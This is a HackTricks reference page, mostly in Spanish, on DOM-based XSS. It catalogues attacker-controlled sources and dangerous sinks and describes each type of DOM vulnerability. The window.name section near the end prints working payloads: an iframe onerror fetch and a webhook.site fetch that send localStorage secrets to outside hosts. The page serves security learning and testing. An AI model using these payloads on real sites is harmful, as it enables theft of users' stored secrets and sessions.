DOM XSS
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Vulnerabilidades DOM
Las vulnerabilidades DOM ocurren cuando datos procedentes de sources controladas por el atacante (como location.search, document.referrer, o document.cookie) se transfieren de forma insegura a sinks. Los sinks son funciones u objetos (p. ej., eval(), document.body.innerHTML) que pueden ejecutar o renderizar contenido dañino si reciben datos maliciosos.
- Sources son entradas que pueden ser manipuladas por atacantes, incluyendo URLs, cookies y web messages.
- Sinks son endpoints potencialmente peligrosos donde datos maliciosos pueden causar efectos adversos, como la ejecución de scripts.
El riesgo surge cuando los datos fluyen desde una source a una sink sin la validación o sanitización adecuada, permitiendo ataques como XSS.
Tip
Puede encontrar una lista más actualizada de sources and sinks en https://github.com/wisec/domxsswiki/wiki
Common sources:
document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB(mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database
Common Sinks:
| Open Redirect | Javascript Injection | DOM-data manipulation | jQuery |
|---|---|---|---|
location | eval() | scriptElement.src | add() |
location.host | Function() constructor | scriptElement.text | after() |
location.hostname | setTimeout() | scriptElement.textContent | append() |
location.href | setInterval() | scriptElement.innerText | animate() |
location.pathname | setImmediate() | someDOMElement.setAttribute() | insertAfter() |
location.search | execCommand() | someDOMElement.search | insertBefore() |
location.protocol | execScript() | someDOMElement.text | before() |
location.assign() | msSetImmediate() | someDOMElement.textContent | html() |
location.replace() | range.createContextualFragment() | someDOMElement.innerText | prepend() |
open() | crypto.generateCRMFRequest() | someDOMElement.outerText | replaceAll() |
domElem.srcdoc | ``Local file-path manipulation | someDOMElement.value | replaceWith() |
XMLHttpRequest.open() | FileReader.readAsArrayBuffer() | someDOMElement.name | wrap() |
XMLHttpRequest.send() | FileReader.readAsBinaryString() | someDOMElement.target | wrapInner() |
jQuery.ajax() | FileReader.readAsDataURL() | someDOMElement.method | wrapAll() |
$.ajax() | FileReader.readAsText() | someDOMElement.type | has() |
| ``Ajax request manipulation | FileReader.readAsFile() | someDOMElement.backgroundImage | constructor() |
XMLHttpRequest.setRequestHeader() | FileReader.root.getFile() | someDOMElement.cssText | init() |
XMLHttpRequest.open() | FileReader.root.getFile() | someDOMElement.codebase | index() |
XMLHttpRequest.send() | Link manipulation | someDOMElement.innerHTML | jQuery.parseHTML() |
jQuery.globalEval() | someDOMElement.href | someDOMElement.outerHTML | $.parseHTML() |
$.globalEval() | someDOMElement.src | someDOMElement.insertAdjacentHTML | Client-side JSON injection |
| ``HTML5-storage manipulation | someDOMElement.action | someDOMElement.onevent | JSON.parse() |
sessionStorage.setItem() | XPath injection | document.write() | jQuery.parseJSON() |
localStorage.setItem() | document.evaluate() | document.writeln() | $.parseJSON() |
**[**`Denial of Service`**](dom-xss.md#denial-of-service)** | someDOMElement.evaluate() | document.title | ``Cookie manipulation |
requestFileSystem() | ``Document-domain manipulation | document.implementation.createHTMLDocument() | document.cookie |
RegExp() | document.domain | history.pushState() | WebSocket-URL poisoning |
| Client-Side SQl injection | Web-message manipulation | history.replaceState() | WebSocket |
executeSql() | postMessage() | `` | `` |
The innerHTML sink doesn’t accept script elements on any modern browser, nor will svg onload events fire. This means you will need to use alternative elements like img or iframe.
This kind of XSS is probably the hardest to find, as you need to look inside the JS code, see if it’s using any object whose value you control, and in that case, see if there is any way to abuse it to execute arbitrary JS.
Tools to find them
- https://github.com/mozilla/eslint-plugin-no-unsanitized
- Browser extension to check every data that reaches a potential sink: https://github.com/kevin-mizu/domloggerpp
Examples
Open Redirect
From: https://portswigger.net/web-security/dom-based/open-redirection
Open redirect vulnerabilities in the DOM occur when a script writes data, which an attacker can control, into a sink capable of initiating navigation across domains.
It’s crucial to understand that executing arbitrary code, such as javascript:alert(1), is possible if you have control over the start of the URL where the redirection occurs.
Sinks:
location
location.host
location.hostname
location.href
location.pathname
location.search
location.protocol
location.assign()
location.replace()
open()
domElem.srcdoc
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.ajax()
$.ajax()
Cookie manipulation
From: https://portswigger.net/web-security/dom-based/cookie-manipulation
DOM-based cookie-manipulation vulnerabilities ocurren cuando un script incorpora datos, que pueden ser controlados por un atacante, en el valor de una cookie. Esta vulnerabilidad puede provocar un comportamiento inesperado de la página web si la cookie se utiliza dentro del sitio. Además, puede ser explotada para llevar a cabo un session fixation attack si la cookie está involucrada en el seguimiento de las sesiones de usuario. El sink principal asociado a esta vulnerabilidad es:
Sinks:
document.cookie
JavaScript Injection
Fuente: https://portswigger.net/web-security/dom-based/javascript-injection
DOM-based JavaScript injection vulnerabilities se producen cuando un script ejecuta datos, que pueden ser controlados por un atacante, como código JavaScript.
Sinks:
eval()
Function() constructor
setTimeout()
setInterval()
setImmediate()
execCommand()
execScript()
msSetImmediate()
range.createContextualFragment()
crypto.generateCRMFRequest()
Document-domain manipulation
Fuente: https://portswigger.net/web-security/dom-based/document-domain-manipulation
Document-domain manipulation vulnerabilities ocurren cuando un script establece la propiedad document.domain usando datos que un attacker puede controlar.
La propiedad document.domain desempeña un papel clave en la aplicación de la same-origin policy por los navegadores. Cuando dos páginas de distintos orígenes establecen su document.domain al mismo valor, pueden interactuar sin restricciones. Aunque los navegadores imponen ciertos límites en los valores asignables a document.domain, impidiendo la asignación de valores completamente no relacionados con el origen real de la página, existen excepciones. Típicamente, los navegadores permiten el uso de dominios hijo o padre.
Sinks:
document.domain
WebSocket-URL poisoning
From: https://portswigger.net/web-security/dom-based/websocket-url-poisoning
WebSocket-URL poisoning ocurre cuando un script utiliza datos controlables como la URL de destino para una conexión WebSocket.
Sinks:
El constructor WebSocket puede dar lugar a vulnerabilidades de WebSocket-URL poisoning.
Link manipulation
From: https://portswigger.net/web-security/dom-based/link-manipulation
DOM-based link-manipulation vulnerabilities surgen cuando un script escribe datos controlables por un atacante a un destino de navegación dentro de la página actual, como un enlace clicable o la URL de envío de un formulario.
Sinks:
someDOMElement.href
someDOMElement.src
someDOMElement.action
Ajax request manipulation
From: https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation
Ajax request manipulation vulnerabilities surgen cuando un script escribe datos controlables por el atacante en una petición Ajax que se envía usando un objeto XmlHttpRequest.
Sinks:
XMLHttpRequest.setRequestHeader()
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.globalEval()
$.globalEval()
Local file-path manipulation
From: https://portswigger.net/web-security/dom-based/local-file-path-manipulation
Local file-path manipulation vulnerabilities surgen cuando un script pasa datos controlados por un atacante a una API de manejo de archivos como el parámetro filename. Esta vulnerabilidad puede ser explotada por un atacante para construir una URL que, si la visita otro usuario, podría provocar que el navegador del usuario abra o escriba un archivo local arbitrario.
Sinks:
FileReader.readAsArrayBuffer()
FileReader.readAsBinaryString()
FileReader.readAsDataURL()
FileReader.readAsText()
FileReader.readAsFile()
FileReader.root.getFile()
FileReader.root.getFile()
Client-Side SQl injection
From: https://portswigger.net/web-security/dom-based/client-side-sql-injection
Client-side SQL-injection vulnerabilities ocurren cuando un script incorpora datos controlables por un atacante en una consulta SQL del lado del cliente de forma insegura.
Sinks:
executeSql()
HTML5-storage manipulation
Fuente: https://portswigger.net/web-security/dom-based/html5-storage-manipulation
HTML5-storage manipulation vulnerabilities surgen cuando un script almacena datos controlables por un atacante en el HTML5 storage del navegador web (localStorage o sessionStorage). Aunque esta acción no es inherentemente una vulnerabilidad de seguridad, se vuelve problemática si la aplicación posteriormente lee los datos almacenados y los procesa de forma insegura. Esto podría permitir a un atacante aprovechar el mecanismo de almacenamiento para llevar a cabo otros ataques basados en DOM, como cross-site scripting y JavaScript injection.
Sinks:
sessionStorage.setItem()
localStorage.setItem()
XPath injection
From: https://portswigger.net/web-security/dom-based/client-side-xpath-injection
DOM-based XPath-injection vulnerabilities ocurren cuando un script incorpora datos controlados por el atacante en una XPath query.
Sinks:
document.evaluate()
someDOMElement.evaluate()
Inyección JSON del lado del cliente
From: https://portswigger.net/web-security/dom-based/client-side-json-injection
DOM-based JSON-injection vulnerabilities ocurren cuando un script incorpora datos controlables por el atacante en una cadena que se analiza como una estructura de datos JSON y luego es procesada por la aplicación.
Sinks:
JSON.parse()
jQuery.parseJSON()
$.parseJSON()
Web-message manipulation
From: https://portswigger.net/web-security/dom-based/web-message-manipulation
Web-message vulnerabilities surgen cuando un script envía datos controlables por un atacante como un web message a otro documento dentro del navegador. Un ejemplo de vulnerable Web-message manipulation puede encontrarse en PortSwigger’s Web Security Academy.
Sinks:
The postMessage() method for sending web messages can lead to vulnerabilities if the event listener for receiving messages handles the incoming data in an unsafe way.
DOM-data manipulation
From: https://portswigger.net/web-security/dom-based/dom-data-manipulation
DOM-data manipulation vulnerabilities surgen cuando un script escribe datos controlables por un atacante en un campo dentro del DOM que se utiliza en la UI visible o en la lógica del cliente. Esta vulnerabilidad puede ser explotada por un atacante para construir una URL que, si la visita otro usuario, puede alterar la apariencia o el comportamiento de la UI del lado del cliente.
Sinks:
scriptElement.src
scriptElement.text
scriptElement.textContent
scriptElement.innerText
someDOMElement.setAttribute()
someDOMElement.search
someDOMElement.text
someDOMElement.textContent
someDOMElement.innerText
someDOMElement.outerText
someDOMElement.value
someDOMElement.name
someDOMElement.target
someDOMElement.method
someDOMElement.type
someDOMElement.backgroundImage
someDOMElement.cssText
someDOMElement.codebase
document.title
document.implementation.createHTMLDocument()
history.pushState()
history.replaceState()
Denial of Service
From: https://portswigger.net/web-security/dom-based/denial-of-service
DOM-based denial-of-service vulnerabilities ocurren cuando un script pasa datos controlados por un atacante de forma insegura a una API problemática de la plataforma. Esto incluye APIs que, al invocarse, pueden hacer que el equipo del usuario consuma cantidades excesivas de CPU o espacio en disco. Tales vulnerabilidades pueden tener efectos secundarios significativos, como que el navegador restrinja la funcionalidad del sitio web rechazando intentos de almacenar datos en localStorage o terminando scripts ocupados.
Sinks:
requestFileSystem()
RegExp()
Dom Clobbering
Variables globales implícitas y abuso de window.name
Hacer referencia a name sin una declaración (var/let/const) se resuelve en window.name. Debido a que window.name persiste a través de navegaciones entre orígenes, un atacante puede precargar el nombre del contexto de navegación con HTML/JS y, más tarde, hacer que el código de la víctima lo renderice como datos confiables:
- Abre/navega el target en un contexto con nombre que controlas:
<iframe name="<img src=x onerror=fetch('https://oast/?f='+btoa(localStorage.flag))>" src="https://target/page"></iframe>
- O reutilizar
window.opencon un nombre de destino manipulado:
window.open('https://target/page', "<svg/onload=alert(document.domain)>")
Si la aplicación posteriormente hace element.innerHTML = name (o un sink similar) sin sanitizar, la cadena window.name controlada por el atacante se ejecuta en el origen objetivo, permitiendo DOM XSS y acceso al almacenamiento de mismo origen.
Flujos de administración/automatización: almacenamiento pre-cargado y navegación javascript:
Los bots de automatización (p. ej., Playwright) suelen visitar primero una página interna, guardar secretos en localStorage/cookies y luego navegar a URLs proporcionadas por el usuario. Cualquier primitiva de DOM XSS (incluido el abuso de window.name) en ese flujo puede exfiltrar el secreto pre-cargado:
fetch('https://webhook.site/<id>?flag=' + encodeURIComponent(localStorage.getItem('flag')))
Si el bot no restringe los esquemas, al proporcionar una URL javascript: (javascript:fetch(...)) esta se ejecuta en el origen actual sin una nueva navegación, leaking storage values directamente.
Referencias
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.


